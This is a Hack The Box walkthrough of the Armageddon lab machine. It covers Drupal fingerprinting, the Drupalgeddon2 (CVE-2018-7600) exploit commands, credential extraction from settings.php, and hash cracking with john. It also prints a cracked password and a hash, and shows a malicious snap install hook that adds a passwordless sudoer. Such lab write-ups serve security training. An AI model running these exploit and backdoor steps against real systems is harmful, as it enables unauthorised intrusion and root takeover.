Armageddon Walkthrough

Machine: Armageddon#

Date: 16-03-2026 Platform: HTB Status: [Rooted]

🔍 Recon#

Nmap:#

nmap -sC -sV -oN scans/nmap.txt $MACHINE_IP

Results:#

• Port 22 → ssh (OpenSSH 7.4)
• Port 80 → http (Apache httpd 2.4.6 ((CentOS) PHP/5.4.16))

Notes:

• Drupal 7 detected via http-generator header
• robots.txt exposes full Drupal directory structure
• CHANGELOG.txt confirms exact version: Drupal 7.56

📂 Enumeration#

• Drupal version confirmed via /CHANGELOG.txt → 7.56 (vulnerable to CVE-2018-7600)
• Database credentials found in /var/www/html/sites/default/settings.php:
  • DB: drupal, User: drupaluser, Password: [REDACTED]
• MySQL query via RCE reveals Drupal user hash:
  • User: brucetherealadmin
  • Hash: $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt (Drupal7/PHPass)

💥 Exploitation#

• CVE-2018-7600 (Drupalgeddon2) — RCE unauthenticated on Drupal < 7.58:

git clone https://github.com/pimps/CVE-2018-7600
python3 drupa7-CVE-2018-7600.py http://$MACHINE_IP -c "id"

→ RCE as apache

• Reverse shell blocked by firewall — used RCE to read files instead
• Extracted DB credentials from settings.php, queried MySQL directly via RCE
• Cracked Drupal hash with john:

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

→ Password: [REDACTED]

• SSH login as brucetherealadmin:booboo ✅

Result: Shell as brucetherealadmin

⚡ Privilege Escalation#

Enumeration:

• sudo -l → brucetherealadmin can run /usr/bin/snap install * as root (NOPASSWD)

Attempt 1 — Malicious snap package with install hook:

• Created snap with hook that adds a new sudoer user:

useradd -m -p $(openssl passwd -1 pwned123) -s /bin/bash -G wheel pwned
echo 'pwned ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers

• Packaged with fpm, transferred via scp, installed with:

sudo snap install /tmp/pwsnap_1.0_all.snap --dangerous --devmode

→ Hook executed as root ✅

Successful escalation:

• SSH as pwned:pwned123 → sudo su → root ✅

🎯 Loot / Flags#

• user.txt: [FLAG REDACTED]
• root.txt: [FLAG REDACTED]

📝 Lessons Learned#

• Always check CHANGELOG.txt on Drupal sites — reveals exact version instantly
• settings.php in Drupal is a goldmine — always read it when you have file read access
• DB credentials are often reused as system passwords — always try them on SSH
• PHPass hashes (Drupal7 $S$) crack fine with john even without a GPU
• Firewall may block outbound connections — adapt and use file read / DB queries instead of reverse shells
• sudo snap install with wildcard is a direct privesc — snap hooks run as root
• On CentOS/RHEL the sudoers group is wheel, not sudo
• Use scp to transfer files when HTTP server is blocked outbound

#Linux #HTB #Enumeration #Web #Apache #Drupal #Drupal7 #CVE #CVE-2018-7600 #Drupalgeddon2 #RCE #FileRead #MySQL #CredentialExtraction #HashExtraction #HashCracking #John #PasswordReuse #SSH #PrivilegeEscalation #Sudo #Snap #CommandExecution #PostExploitation

Adapted from MountainFlayer/htb-writeups under MIT.